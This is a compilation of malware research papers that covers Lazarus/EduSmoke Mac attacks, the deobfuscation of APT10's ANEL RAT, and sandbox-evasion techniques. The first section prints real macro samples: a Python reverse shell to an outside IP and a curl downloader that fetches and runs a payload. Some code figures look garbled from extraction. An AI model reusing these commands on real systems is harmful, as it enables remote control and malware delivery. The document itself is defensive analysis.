  The threat actors sent these malicious binaries to the victims masquerading as the statistics software Stata. This scenario is similar to the incident that occurred in 2016 which was reported by Exatel.

- **Timeline — November 2016 (Similar Incident reported by Exatel)**
  In this case, a Polish programmer contacted the SOC team of Exatel. He reported that his bitcoins were missing and also mentioned about engaging with mails appearing from various universities. The mail he received contained the link to download Stata for three platforms. The downloaded malicious Stata program from these emails deployed NetWire/Mokes.
A unique string "hyd7u5jd8" was used in all of the EduSmoke NetWire payloads. This string was used for RC4 encryption which allowed us to trace an attack of EduSmoke where they exploited a zero-day in May 2017. EduSmoke exploited CVE-2017-0262, a vulnerability in EPS (Encapsulated PostScript) embedded within Microsoft Office documents.

```
.text:0046e2b0 mov [ebp+var_1015], ebxh
.text:0046e2bc mov [ebp+var_1016], 43h
.text:0046e293 mov [ebp+var_1015], 54h
.text:0046e2a1 mov [ebp+var_1016], 08h
.text:0046e2a8 mov [ebp+var_1015], 27h
.text:0046e2ab mov [ebp+var_1016], 4fh
.text:0046e2b5 mov [ebp+var_1015], 53h
.text:0046e2b8 mov [ebp+var_1016], 63h
.text:0046e2be mov [ebp+var_1015], 10h
.text:0046e30c mov [ebp+var_1016], 0
.text:0046e323 mov [ebp+var_1510], eax
.text:0046e324 mov [esp+4], 0
.text:0046e325 call _newSet
.text:0046e330 mov [esp+50h], eax
.text:0046e333 mov [esp+50h], 0
.text:0046e335 mov [esp+50h], eax
.text:0046e336 mov [esp+50h], 0
.text:0046e339 mov [esp+50h], eax
.text:0046e33a mov [esp+50h], 0
.text:0046e33b mov [esp+50h], eax
.text:0046e33c mov [esp+50h], 0
.text:0046e33d mov [esp+50h], eax
.text:0046e33e mov [esp+50h], 0
.text:0046e33f mov [esp+50h], eax
```

```
Figure 25. "hyd7u5jd8" string used in RC4 encryption
```
Detection

Impact of generic signature

1. Apple XProtect detects the current NetWire variant and the signature for the same was pushed way back in 2016.[23]
2. Lazarus engaged in DragonEx attack with the same toolset as observed in Operation AppleJeus (2018). An effective generic signature could have defended the attacks from happening. The image below is a flow graph comparison of the function “Replyfinished” from two payloads taken at different timelines.

Though reactive measures have their downside, in this case they could have acted as a potential layer of detection, as it is a cumbersome task for adversaries to keep upgrading their toolset for Mac to evade security products. However, one cannot fully depend on these. Instead behavioral anomalies based detections could be used which could possibly help us in detecting zero-days. Adversaries rely on malicious macros to carry out their malicious activities; raising alarms at this early point in their kill chain will help us to defend against them.
Malicious behaviors

Macros embedded within documents call a Python script. This is done using a function "MacScript" which is an AppleScript command to execute CLI tools. In the below example, it makes an external connection and provides a remote shell.

```vba
Function macshell()
    On Error Resume Next
    Err.Clear

    scriptToRun = "do shell script ""python -c 'import urllib2,socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((""192.241.191.104"",53)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([""/bin/sh"",""-i""]);' &"
    res = MacScript(scriptToRun)
End Function
```

Similarly macros can execute C functions like system, popen, etc. using libc.dylib. This can be downloaded from the Internet and executed with the required permissions.

```vba
sur = "https://nzssdm.com/assets/mt.dat"
sopath = "/tmp/": i = 0
Do
    spath = spath & Chr(Int(Rnd * 26) + 97): i = i + 1
Loop Until i > 12
spath = spath
res = system("curl -o " & spath & " " & sur)
res = system("chmod +x " & spath)
res = popen(spath, "r")
```

Monitoring of common areas of persistence would be a simpler measure, and prompting the user for any persistence attempts being made could help the user to be more vigilant. Adding to this, a persistence entry to an application residing in the resource directory or a hidden directory can also be flagged as suspicious behaviors.

Conclusion

In both the above cases, it is observed that the clear winning stroke is to employ spear-phishing tactics as the initial vector. However, it could only be crafted with the necessary research/reconnaissance work done prior to it. In our case, they had fabricated emails seemingly originating from a source that the targets would not easily suspect. The source of the emails had also been spoofed or obtained illicitly. These emails were able to pass the spam filters that were in place. Engaging zero-days in their initial vectors means that these groups are ready to spend time and resources to find them, and burn them when the necessity arises.

We cannot hand over all the credit to the threat actors though. In the first case study it was evident that an old malware was recycled. In addition, when we look at the second case study, it is evident that an old malware which has detection was executed at a different point in time compared to normal installation, and was able to bypass existing protection mechanisms in Mac. Their practice of developing for various platforms at a given point in time also enables them to widen their attack’s scope. As we mentioned earlier, it is always about the “Target and never about the platform”.

References

Defeating APT10 Compiler-level obfuscations

Takahiro Haruyama / Carbon Black, Japan

Abstract

Compiler-level obfuscations, like opaque predicates and control flow flattening, are starting to be observed in the wild and are likely to become a challenge for malware analysts and researchers. Opaque predicates and control flow flattening are obfuscation methods that are used to limit malware analysis by defining unused logic, performing needless calculations, and altering code flow so that it is not linear. Manual analysis of malware utilizing these obfuscations is painful and time-consuming.

ANEL (also known as UpperCut) is a RAT used by APT10, typically targeting Japan. All recent ANEL samples are obfuscated with opaque predicates and control flow flattening. In this paper I will explain how to de-obfuscate the ANEL code automatically by modifying the existing IDA Pro plug-in HexRaysDeob.

Specifically, the following topics will be included:
- Disassembler tool internals (IDA Pro IL microcode)
- How to define and track opaque predicate patterns for their elimination
- How to break control flow flattening while considering various conditional/unconditional jump cases even if it depends heavily on the opaque predicate conditions and has multiple switch dispatchers.

Takahiro Haruyama is a principal threat researcher with Carbon Black’s Threat Analysis Unit, with over ten years of extensive experience and knowledge in malware analysis and digital forensics. He previously worked on reverse-engineering cyber espionage malware with Symantec’s threat intelligence team. He has spoken at several famous conferences including REcon, HITB, HITCON, SECURE, DFRWS EU, SANS DFIR Summit, FIRST and BlackHat Briefings USA/Europe/Asia.
The modified tool is available publicly and this implementation has been found to deobfuscate approximately 92% of encountered functions in the tested samples. Additionally, most of the failed functions can be properly deobfuscated in IDA Pro 7.3. This provides researchers with an approach with which to attack such obfuscations, which could be adopted by other families and other threat groups.

**Introduction**

The Carbon Black Threat Analysis Unit (TAU) analysed a series of malware samples that utilized compiler-level obfuscations. For example, opaque predicates were applied to Turla Mosquito and APT10 ANEL samples. Another obfuscation, control flow flattening, was applied to APT10 ANEL samples and the Dharma ransomware packer.

ANEL is a RAT program used by APT10 and is observed solely in Japan. According to Secureworks, all ANEL samples whose version is 5.3.0 or later are obfuscated with opaque predicates and control flow flattening. ‘Opaque predicate’ is a programming term that refers to decision making where there is actually only one path. For example, this can be seen as calculating a value that will always return True. ‘Control flow flattening’ is an obfuscation method where programs do not flow cleanly from beginning to end.

![Figure 1. Obfuscated function example (all codes cannot be displayed in a screen).](image-url)
Instead, a switch statement is called in a loop with multiple code blocks, each of which performs operations, as detailed later in this paper (see Figure 10).

The obfuscations used by ANEL looked similar to the ones described in the Hex-Rays blog[3], but the IDA Pro plug-in HexRaysDeob[4] didn’t work for one of the obfuscated ANEL samples because the tool had been made for another variant of the obfuscation.

TAU investigated the ANEL obfuscation algorithms then modified the HexRaysDeob code to defeat the obfuscations. After the modification, TAU was able to recover the original code. Figure 1 (shown on the previous page) shows an example of an obfuscated function; Figure 2 shows the same function once it has been deobfuscated.

![Image of obfuscated and deobfuscated functions]

**Technical details**

*HexRaysDeob* is an IDA Pro plug-in written by Rolf Rolles to address obfuscation seen in binaries. In order to perform the deobfuscation, the plug-in manipulates the IDA intermediate language called microcode. If you aren’t familiar with those structures (e.g. microcode data structures, maturity level, Microcode Explorer and so on), you should read his blog post[3]. Rolles also provides an overview of each obfuscation technique in the same post.

*HexRaysDeob* installs two callbacks when loading:
- *optinsn_t* for defeating opaque predicates (defined as ObfCompilerOptimizer)
- *optblock_t* for defeating control flow flattening (defined as CFUnflattener)

**Opaque predicates**

Before continuing, it is important to understand *Hex-Rays* maturity levels. When a binary is loaded into *IDA Pro*, the application will perform distinct layers of code analysis and optimization, referred to as maturity levels. One layer will detect shellcode, another optimizes it into blocks, another determines global variables, and so on.
The `optinsn_t::func` callback function is called in maturity levels from MMAT_ZERO (microcode does not exist) to MMAT_GLBOPT2 (most global optimizations completed). During the callback, opaque predicates pattern-matching functions are called. If the code pattern is matched with the definitions, it is replaced with another expression for the deobfuscation. This is important to perform in each maturity level as the obfuscated code could be modified or removed as the code becomes more optimized. We mainly defined two patterns for analysis of the ANEL sample.

**Pattern 1: \(\neg(x \times (x-1)) \mid -2\)**

Figure 4 shows an example of one of the opaque predicates patterns used by ANEL.

The global variable value `dword_745BB58C` is either even or odd, so `dword_745BB58C \times (dword_745BB58C - 1)` is always even. This results in the lowest bit of the negated value becoming 1. Thus, OR by -2 (0xFFFFFFFF) will always produce the value -1. In this case, the pattern-matching function replaces `dword_745BB58C \times (dword_745BB58C - 1)` with 2.
Defeating APT10 Compiler-level obfuscations

Pattern 2: read-only global variable $\geq 10$ or $< 10$

Another pattern is shown in Figure 5.

The global variable value `dword_720BB588` is always 0 because the value is not initialized (we can check it using the `is_loaded` API) and only has read accesses. So the pattern-matching function replaces the global variable with 0. There are some variants with this pattern (e.g., the variable `-10 < 0`), where the immediate constant may be different, such as 9.

Data-flow tracking for the patterns

We also observed a pattern that was also using an eight-bit portion of the register. In the example shown in Figures 6 & 7, the variable v5 in pseudocode is a register operand (cl) in microcode. We need to check if the value comes from the result of $x \times (x-1)$.

In another example (Figure 8 & 9), the variable v2 in pseudocode is a register operand (ecx) in microcode. We have to validate if a global variable with the above-mentioned conditions is assigned to the register.

Data-flow tracking code was added to detect these use-cases. The added code requires that the `mblock_t` pointer information is passed from the argument of `optinsn_t::func` to trace back previous instructions using the `mblock_t` linked list. However, the callback returns NULL from the `mblock_t` pointer if the instruction is not a top-level one. For example, Figure 9 shows `jnz (m_jnz)` as a top-level instruction and `setl (m_setl)` as a sub-instruction. If `setl` is always sub-instruction during the optimization, we never get the pointer. To handle this type of scenario, the code was modified to catch and pass the `mblock_t` of the `jnz` instruction to the sub-instruction.
Control flow flattening

The original implementation calls the `optblock_t::func` callback function in the MMAT_LOCOPT (local optimization and graphing are complete) maturity level. Rolles previously described the unflattening algorithm in a Hex-Rays blog. For brevity, I will quickly cover some key points in order to understand the algorithm at a high level.

![Figure 10. Function obfuscated with control flow flattening](image)

Normally, the call flow graph (CFG) of a function obfuscated with control flow flattening has a loop structure that starts with the yellow-colored ‘control flow dispatcher’ shown in Figure 10 after the First Block.

The original code is separated into the orange-colored ‘first block’ and the green-colored flattened blocks. The analyst is then required to resolve the correct next block and modify the destination accordingly.

The next portion of the first block and each flattened block is decided by a ‘block comparison variable’ with an immediate value. The value of the variable is assigned to a specific register in each block then compared in a control flow dispatcher and other condition blocks.

If the variable registers for the comparison and assignment are different, the assignment variable is called the ‘block update variable’ (which will be described later). The algorithm looks straightforward. However, some portions of the code had to be modified in order to correctly deobfuscate the code. This is detailed further below.

![Figure 11. Block comparison variable example (blue-highlighted eax in this case).](image)
Unflattening in multiple maturity levels

As previously described, the original implementation of the code only works in the MMAT_LOCOPT maturity level. Rolles said this was to handle another obfuscation called ‘Odd Stack Manipulations’, which he refers to in his blog. However, the unflattening of the ANEL code had to be performed in the later maturity level since the assignment of block comparison variables depends heavily on opaque predicates.

Once the opaque predicates are broken, the loop code becomes simpler, as shown in Figure 13.
However, unflattening the code in later maturity levels like MMAT_GLBOPT1 and MMAT_GLBOPT2 (first and second pass of global optimization) caused additional problems. The unflattening algorithm requires mapping information between the block comparison variable and the actual block number (mblock_t::serial) used in the microcode. In later maturity levels, some blocks are deleted by the optimization after defeating opaque predicates, which removes the mapping information.

In the example shown in Figure 14, the blue-highlighted immediate value 0x4624F47C is assigned to the block comparison variable in the first block. The mapping can be created by checking the conditional jump instruction (jnz) in MMAT_LOCOPT.

![Figure 14. Mapping between block comparison variable 0x4624F47C and block number 9](image1)

On the other hand, there is no mapping information in MMAT_GLBOPT2 because the condition block that contains the variable has been deleted. So the next block of the first one in the level cannot be determined.

![Figure 15. Mapping failure](image2)

To resolve this issue, the code was written to link the block comparison variable and block address in MMAT_LOCOPT, as the block number is changed in each maturity level. If the code can’t determine the mapping in later maturity levels, it attempts to guess the next block number based on the address, considering each block and instruction address. The guessing is not 100% accurate, however it works for nearly all of the obfuscated functions tested.
Defeating APT10 Compiler-level obfuscations

Figure 17 shows the final result of the deobfuscation in this case. The function just returns the argument value.

Control flow handling with multiple dispatchers

Though the original implementation assumes an obfuscated function has only one control flow dispatcher, some functions in the ANEL sample have multiple control dispatchers. Originally, the modified code called the `optblock_t::func` callback in MMAT_GLBOPT1 and MMAT_GLBOPT2, as the result was not correct in MMAT_CALLS (detecting call arguments). However, this did not work for functions with three or more dispatchers. Additionally, the Hex-Rays kernel doesn’t optimize some functions in MMAT_GLBOPT2 if it judges that optimization within the level is not required. In this case, the callback is executed just once in the implementation.

To handle multiple control flow dispatchers, a callback for decompiler events was implemented. The code catches the `hxe_prealloc` event (according to Hex-Rays, this is the final event for optimizations) then calls the `optblock_t::func` callback. Typically, this event occurs a few to several times, so the callback can deobfuscate multiple control flow flattenings. Other additional modifications were made to the code (e.g. writing a new algorithm for finding the control flow dispatcher and first block, validating a block comparison variable, and so on).

Figures 18-23 show the functions with multiple control flow dispatchers that can be unflattened after the modification. Figures 18-20 show the case of two control flow dispatchers; Figures 21-23 show the case of seven control flow dispatchers.
Defeating APT10 Compiler-level obfuscations

Figure 18. Example #1 with two control flow dispatchers (graph)

Figure 19. Example #1 with two control flow dispatchers (before)

Figure 20. Example #1 with two control flow dispatchers (after)
Figure 21. Example #2 with seven control flow dispatchers (graph)

Figure 22. Example #2 with seven control flow dispatchers (before).

Figure 23. Example #2 with seven control flow dispatchers (after).
Normally, block comparison variables used by the control flow flattening are unique in a function. Therefore, block numbers corresponding to the variables can be determined uniquely as well. However, the function in the latter case contains duplicated block comparison variables due to multiple dispatchers. The modified code detects the duplications and applies the most likely variable.

Implementation for various conditional/unconditional jump cases

As shown in Figure 25, the original implementation supports two cases (1)-(2) of flattened blocks to find a block comparison variable for the next block (the cases are then simplified). In the second case, the block comparison variable is searched in each block of endsWithJcc and nonJcc. If the next block is resolved, the CFG (specifically mblock_t::predset and mblock_t::succset) and the destination of the goto jump instruction are updated.
We found and implemented three more cases in the ANEL sample. Of these, two cases (3)-(4) are shown in Figure 26.

The code tracks the block comparison variable in each predecessor and more (if there are any conditional blocks before the predecessor) to identify each next block for unflattening.

In the jump case (5) that was newly implemented, the block comparison variables are not assigned in the flattened blocks but rather the first blocks according to a condition. For example, the microcode graph depicted in Figure 27 shows that edi is assigned to esi (the block comparison variable in this case) in block number 7, but the edi value is assigned in block numbers 1 and 2.

If the immediate value for the block comparison variable is not found in the flattened blocks, the new code tries to trace the first blocks to obtain the value and reconnected block numbers 1 and 2 as successors of block number 7, in addition to the normal operations mentioned in the original cases.
Another example function, shown in Figures 28 and 29, did the same processing twice.

Figure 28. Newly supported case (assigned in first blocks twice #1)

Figure 29. Newly supported case (assigned in first blocks twice #2)

In this case, the code parses the structure in the first blocks then reconnects each conditional block under the flattened blocks (#1 and #2 as successors of #13, #3 and #4 as successor of #11).

Last, but not least, in all cases described here, the tail instruction of the dispatcher predecessor can be a conditional jump like jnz, not just goto. The modified code checks the tail instruction and if the true case destination is a control flow dispatcher, it updates the CFG and the destination of the instruction. However, the handling of conditional jumps in cases (2)-(4) requires more complicated operations and the latest IDA (version 7.2) at the time was not able to process them. It will be detailed below.

Other minor changes

The following changes are minor compared with the above referenced ones.

- Additional jump instructions are supported when collecting block comparison variable candidates and mapping between the variable and ea (linear address) or block number (jnz/jle in JZCollector, jnz in JZMapper)
- An entropy threshold adjustment due to check in high maturity level
- Multiple block tracking for getting a block comparison variable

Additionally, two more changes were introduced in regards to the block comparison/update variables referenced in the overview. First, some functions in the ANEL sample utilize a block update variable, however the assignment is a little bit tricky, as shown in Figure 30.
Defeating APT10 Compiler-level obfuscations

By using the and instruction, the immediate values used in comparison look different from assigned ones. Second, in a different case, a small number of functions utilize dual block comparison variables, as shown in Figure 31.

The modified code will consider both of the cases.

Remaining issues and improvements in ida 7.3 beta

The modified tool was tested on IDA 7.2 with an ANEL 5.4.1 payload dropped from a malicious document with the following hash (previously reported by FireEye[5]):

3d2b3c9f50ed36bef90139e6dd250f140c373664984b97a97a5a70333387d18d

The current code was able to deobfuscate 92% of the obfuscated functions that we encountered. In the 8% of cases where deobfuscation failed, the failure was caused by any of the three following issues:

1. The next block number guessing algorithm failed.
2. IDA didn’t propagate the results after defeating opaque predicate patterns.
3. There was no method to handle a conditional jump of a dispatcher predecessor with multiple predecessors.

The first issue has already been resolved but may be problematic in the future as the approach is not 100% accurate. The guessing algorithm will be improved every time a new issue in it is found. However, the other issues were reported to Hex-Rays and resulted in an IDA 7.3 beta version to address them. In the following sections, the issues and their solutions will be discussed.

Additionally, the tool also worked for the following ANEL 5.5.0 rev1 payload loader DLL published by Secureworks[6]: f333358850d641653ea2d6b58b921870125af1fe77268a6fdafa3e7e0fb636d.
Correct propagation of opaque predicates deobfuscation result

The IDA 7.2 decompiler does not propagate aliased stack slots. In the example shown in Figure 32, the variables `true1` and `true2` are aliased. Thus the results after breaking opaque predicates are not propagated even if an immediate value 1 is assigned to them.

The IDA 7.3 beta decompiler resolving this issue is able to deobfuscate the function correctly, as shown in Figure 33.

![Figure 32. Opaque predicates deobfuscation result propagation failure on IDA 7.2](image1)

![Figure 33. Opaque predicates deobfuscation result propagation success on IDA 7.3 beta](image2)

Handling a conditional jump of a dispatcher predecessor with multiple predecessors

As described previously, more complicated operations are required to handle the cases (2)-(4) of flattened blocks if the dispatcher predecessor’s tail instruction is a conditional jump. For instance, in case (3), let’s consider a dispatcher predecessor with two predecessors.

Handling a `goto` case (unconditional jump case, in Figure 34) is straightforward. The implementation searches block comparison variables in `pred0` and `pred1` (predecessor #0 and #1) separately then resolves the next block numbers in microcode according to the variables. After that, it changes each destination in both CFG and instruction levels while appending the codes of a dispatcher predecessor to each predecessor. As a result, the dispatcher predecessor block will be eliminated.
Additionally, in Figure 34, if pred0 or pred1 contains a conditional jump, the dispatcher predecessor will be copied in the same way regardless of its tail instruction because a conditional jump instruction cannot be overwritten by a goto one.

IDA 7.2 doesn’t permit overlapped instructions by copying a microcode block (mblock_t) as many instructions must have distinct addresses. Duplicated instructions are allowed in IDA 7.3 by clearing the flag MBA2_NO_DUP_CALLS. The latest code utilizes its flag and handles cases (2)-(4) with conditional jumps correctly.

Specifically, the code makes an empty block by using the mbl_array_t::insert_block API then copies instructions and other information such as flags and start/end addresses from the original block. The code also has to adjust CFGs and instructions of the blocks, passing control to the exit block whose block type is BLT_STOP if CFG updates by the API usage or the unflattening code cause a conflicted situation.
Workaround in control flow unflattening failure

If an obfuscated function contains any of the issues described in this section, the decompiled code result may be paradoxical or lose multiple code blocks. In this case, try to use the following IDAPython command in the output window:

```
idc.load_and_run_plugin("HexRaysDeob", 0xdead)
```

The command will instruct the code to execute only opaque predicates deobfuscation in the current selected function. This allows an analyst to quickly check if there are any lost blocks through control flow unflattening. For instance, Figures 36 and 37 show how the pseudocode changes in one of the failure cases.

Figure 36. One failure case pseudocode (before)

```c
size_t odec1 fn cause crash(void *a1, void *a2, size_t a3)
{
    bool v5; // [esp+57h] [ebp-19h]
    if (!a1)
        return a3;
    v5 = (v5 & 0xF) != 0;
    while (v5)
    {
        return 0;
    }
}
```

Figure 37. One failure case pseudocode (after)

```c
v5 = -1424257784;
v2 = 683813383;
v21 = v5;
if (!v2)
v6 = 630093600;
if (!v6)v7 = 2019406480;
v22 = v7;
v27 = &v23;
v8 = -447904511;
while (1)
{
    while (1)
    {
        while (1)
        {
            if (v8 <= 21690082)
                break;
            if (v8 > 1127630044)
            {
                if (v8 <= 1518054240)
                    {
                        if (v8 > 1278155836)
                        {
                            if (v8 == 1278155837)
                                {
                                    memset(&v23, v30, v34);
                                } else
                                    v8 = 406748478;
                            } else
                                v8 = 1127530845;
                        } else
                            v8 = 0;
                        } else
                            v8 = 1127530845;
                    } else
                        v8 = 0;
                } else
                    v8 = 0;
            } else
                v8 = 0;
        } else
            v8 = 0;
    } else
        v8 = 0;
}
```
**Conclusion**

Compiler-level obfuscations like opaque predicates and control flow flattening are starting to be observed in the wild and will be a challenge for malware analysts and researchers. Currently, malware with these obfuscations is limited, however TAU expects not only APT10 but also other threat actors to start to use them. In order to break the techniques, we have to understand both of the obfuscation mechanisms and the disassembler tool internals before we can automate the process.

TAU modified the original *HexRaysDeob* plug-in to make it work for APT10 ANEL obfuscations. The modified code is available publicly\(^7\). The summary of the modifications is:

- New patterns and data-flow tracking for opaque predicates
- Analysis in multiple maturity levels, considering multiple control flow dispatchers and various jump cases for control flow flattening.

This tool works for most obfuscated functions in the tested samples. This implementation can deobfuscate approximately 92% of encountered functions. Additionally, most of the failed functions will be properly deobfuscated in IDA 7.3.

It should be noted that the tool may not work for updated versions of ANEL if they are compiled with different options of the obfuscating compiler. Testing in multiple versions is important, so TAU is looking for newer version ANEL samples. Please reach out to our unit if you have relevant samples or need assistance in deobfuscating the codes.

It’s difficult to create a generic tool that can defeat every compiler-level obfuscated binary but experience and knowledge about IDA microcode can be useful for additional new tools.

**Acknowledgement**

First I acknowledge *Hex-Rays* for supporting the research patiently. Next, I appreciate Rolf Rolles for releasing the original version of *HexRaysDeob*. Last but not least, I would like to thank TAU’s members, especially Jared Myers and Brian Baskin, for proofreading and giving a lot of feedback.

**References**

4. Rolles, R. Hex-Rays microcode API plugin for breaking an obfuscating compiler. [https://github.com/RolfRolles/HexRaysDeob](https://github.com/RolfRolles/HexRaysDeob)
The Journey of Malware Families Evade Sandbox

Venkatachalabathy S.R. & Harikrishanan Mutu / McAfee

Abstract

In recent years, malware threat landscape grown exponential and employed various evasion technique to bypass behavioral analysis and detection. The dominant category of evasion falls on sandbox evasion technique as defenders use sandboxes as part of the ecosystem to replicate the malicious files in an automated and controlled virtualized environment and gather the behaviour information within a short span of time.

Malware authors are aware of the sandbox technologies, they employed malware with sandbox evasion techniques and mimic malware files to behave as benign files inside sandbox environment and show the malicious payload only in physical machine (ie., non-virtualized environment). As malware authors develop more new evasion techniques to hide from sandbox radar, consequence of it, defenders make various improvement to their sandbox technology to identify the sandbox evasion and defeat it. The improvement

Venkatachalabathy S.R. is currently working at McAfee as a Research Lead. He has 12+ years of work experience in Security Industry, have good knowledge and exposure on Anti-virus and Sandbox Technology. His experience includes Malware Analysis, Reverse Engineering and Threat Hunting. Prior to McAfee he worked for Computer Associate Antivirus and Comodo Antivirus products. His hobbies includes reading and listing to music.

Harikrishanan Mutu is currently working as a Security Researcher at McAfee as part of Advance Threat Detection (ATD). His career started since 2014 and he have been involved in multiple roles like Threat hunting, create generic solution for PE and non-PE files though behaviour and signature based detection, work towards sandbox evasions threats, targeted threats, maintain in house Threat Intelligence platform to improve sandbox detection efficacy. Prior to McAfee he worked for Comodo Antivirus Product.
cycle done by defenders to protect against malwares and attackers to thwart from sandbox detection is never ending story which resembles Cat and Mouse game.

In this paper we will explain the improvements done by malware authors towards new sandbox evasion and reuse of old sandbox evasion techniques in recent ransomwares, bots, Advanced Persistent Threats and how malware authors use Windows API’s, office features and functionalities of virtualized environment to achieve sandbox evasion and defeat detection. Some of the latest evasion technique seen in malware families in recent year will be covered in the paper includes as below:

- How windows WMI query misused by malware authors to gather the system informations?
- How Thermal zone temperature used to evade from sandbox?
- How country check evades sandbox detection?
- How file-less technique employed by malware authors to evade from traditional sandbox product (focus mainly on file, registry and network activities)?
- How steganography payload evades sandbox detection?
- How VBA stomping evade the sandbox detection based only on VBA source code?

and many more.

This paper will also cover how defender of sandbox product bypasses sandbox evasion developed by malware authors and provide detection solutions coverage through behaviour API’s, normalized assembly function and Machine learning.
Introduction

In recent years samples submitted to McAfee Labs has increased exponentially, however all received samples are not necessarily malware it can have some clean files and many malicious files. This leads to the problem to give sample verdict as either malware or clean by execution or replication of every sample. One way is to involve human effort to replicate the samples however it is not feasible due to limited human resources and if we consider the ratio between number of samples received and number of humans to replicate the samples, which is too high. To solve this problem, Security Industry came up with the technology to replicate the samples within a short span of time in an automated and controlled environment which is popular known as SANDBOX technology. Later, this technology used in many security industry ecosystems to detect malware and act as a weapon to fight against the cyber threats. Additionally, sandbox technology solution become fastest and easiest way to defend the malware threats which employ techniques such as Obfuscation, encryption, compression, and other anti-reversing protection and gather the Indicator of compromise to protect the user from the malicious activity.

However, as the malware authors being aware of it, they implement various new innovative techniques in malware families /files to bypass sandbox technology protection by concealing the real behavior of malware, which means malware authors code their malware programs to identify the sandbox systems and behave differently, either it behaves as dormant file or terminates immediately inside sandbox systems however if same file executed in real system (i.e., not in sandbox) then actual payload of the sample triggered, this leads to the challenge to identify malware sample which evade from sandbox protection.

Before we depict on multiple sandbox evasion techniques, we need to understand different Sandbox Technologies, which are broadly classified under below three types:

- **Virtualization Based:** Here the hypervisor or virtual machine manager is in- charge of managing and controls the execution of Virtual Machine. Host Operating System runs directly on the system hardware. This type of architecture falls on traditional or conventional one, which are not equipped to detect many evasive malware families.

- **Emulation Based:** The emulation-based sandboxes provide great flexibility and detailed visibility of malware code. It can be achieved through different designs. one approach is to emulate the necessary OS functions and APIs, another approach is full system emulation, that is to emulate the CPU, I/O, memory. Especially, with the full system emulation, the behavior of the program under inspection could be studied with short time.

- **BareMetal:** This is recently evolved sandboxing which puzzle the sandbox evasion technique employed by sophisticated malware, demands a new paradigm of analysis. The idea of BareMetal Sandboxing is equal to a real physical system, here computer system or network in which a virtual machine is installed directly on hardware rather than within the host operating system (OS). The term “bare metal” refers to a hard disk, the usual medium on which a computer’s OS is installed.

In this paper, we will cover many categories of sandbox evasion techniques that uses Virtualization-based Sandbox Technology and how recent and common sandbox evasion techniques employed by malware authors in various recent malware families (like APT, MS office downloader families, Dridex campaign, Ransomware families, Banking Trojan families) to protect the malicious payload and evade from the sandbox radar. We have also covered the countermeasure to strengthen the sandbox system and bypass the sandbox evasion techniques.
Categories of Sandbox Evasion Techniques

There are many sandbox evasion techniques employed by malware families, here we have grouped it under four high level categories as listed below based on targets seen in malwares to evade sandbox systems.

1. Environment Detection
2. Hardware Detection
3. Human Interaction
4. Delay Execution

Let’s see the categories in detail with multiple techniques of sandbox evasion techniques used in the above four categories.

1. Environment Detection

Malwares employ this category of sandbox evasion technique are seen in huge volume in past for very long time in threat landscape. This category covers the sandbox evasion techniques which are targeted specific to the sandbox environment. As this category falls on broad category we have grouped the sandbox environment in two sub-categories as listed below to have granular information:

1.1 Virtualization Environment Detection
1.2 Analysis Environment Detection

Let’s look at the techniques employed in these sub-categories:

1.1 Virtualization Environment Detection

As majority of the sandbox often uses virtual environment or Hypervisor as one of main component to build the sandbox system so this category of sandbox technique adopted by many adversaries. This sandbox evasion technique employed by malware authors checks for the existence of files, registries, services, processes, mac address, etc., seen in common virtualization vendors’ products (like VM, XEN, VMware, Virtual Box, QEMU, Parallels, XEN etc.).

1.1.1 CHECK FOR REGISTRY ARTIFACTS

Some of the well-known registry path seen in malwares to detect Virtual environment, which include:
1.1.2 CHECK FOR FILE ARTIFACTS

Some of the well-known File names seen in malwares to detect Virtual environment:

- Vmmouse.sys, vm3dgl.dll, vmdum.dll, vm3dver.dll, VMToolsHook.dll, vmmousever.dll,
  vmhgfs.dll, vmGuestLib.dll, VmGuestLibJava.dll, vmhgfs.dll, VBoxMouse.sys, VBoxGuest.sys,
  VBoxSF.sys, VBoxVideo.sys, vboxdisp.dll, vboxhook.dll, vboxmxnp.dll, vboxogl.dll, vboxoglarrayspu.dll,
  vboxoglcrutil.dll, vboxoglerrorspu.dll, vboxoglfeedbackspu.dll, vboxoglpassthroughspu.dll,
  vboxservice.exe, vboxtray.exe, VBoxControl.exe

1.1.3 CHECK FOR RUNNING PROCESSES

Some of the well-known running process names seen in malwares to detect Virtual environment:

- vboxservice.exe, vboxtray.exe, vtmtoolsd.exe, vmwaretray.exe, vmwareuser.exe, Vmwaretrat.exe,
  VGAuthService.exe, vmacthlp.exe, vmsrvc.exe, vmsrsvc.exe, prl_cc.exe, prl_tools.exe, xen service.exe,
  qemu-ga.exe

1.1.4 CHECK FOR RUNNING SERVICES

Some of the well-known service names seen in malwares to detect Virtual environment:

- VMTools, Vmhgfs, VMMEMCTL, Vmmouse, Vmrawdsk, Vmusbmouse, Vmvs, Vmscsi, Vmxnet, vmxsvga,
  Vmware Tools service, Vmware Physical Disk Helper Service
1.1.5 CHECK FOR KNOWN MAC ADDRESS

Some of the well-known MAC address (as shown in Fig.1) seen in malwares to detect Virtual environment, which include:

<table>
<thead>
<tr>
<th>Company and Products</th>
<th>MAC Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>VMWare ESX 3, Server, Workstation, Player</td>
<td>00:50:56, 00:0C:29, 00:05:69</td>
</tr>
<tr>
<td>Sun xVM VirtualBox</td>
<td>08:00:27</td>
</tr>
<tr>
<td>Oracle VM</td>
<td>00:16:3E</td>
</tr>
<tr>
<td>Virtual Iron 4</td>
<td>00:0F:4B</td>
</tr>
<tr>
<td>Red Hat Xen</td>
<td>00:16:3E</td>
</tr>
<tr>
<td>Xen Source</td>
<td>00:16:3E</td>
</tr>
<tr>
<td>Novel Xen</td>
<td>00:16:3E</td>
</tr>
<tr>
<td>Microsoft Hyper-V, Virtual Server, Virtual PC</td>
<td>00:03: FF</td>
</tr>
<tr>
<td>Parallels Desktop, Workstation, Server, Virtuozzo</td>
<td>00:1C:42</td>
</tr>
</tbody>
</table>

Fig.1 shows well known MAC address of Virtual environment

1.1.6 CHECK FOR CPU INSTRUCTIONS

Some of the well-known CPU Instructions that malwares check to detect Virtualization environment, which includes:

- RDTSC (to read the Time Stamp Counter)
- CPUID
- IN instruction (Read from a Port)
- SIDT (Store Interrupt Descriptor Table)
- MMX Instruction

Malware families used: We found this technique seen in variants of malware families like Gandcrab, Kovter, Fareit, OnLineGames, Troladesh, Cerber, Pushbot, Phorpiex, Rebhip, and other malware families.

1.2 Analysis Environment Detection

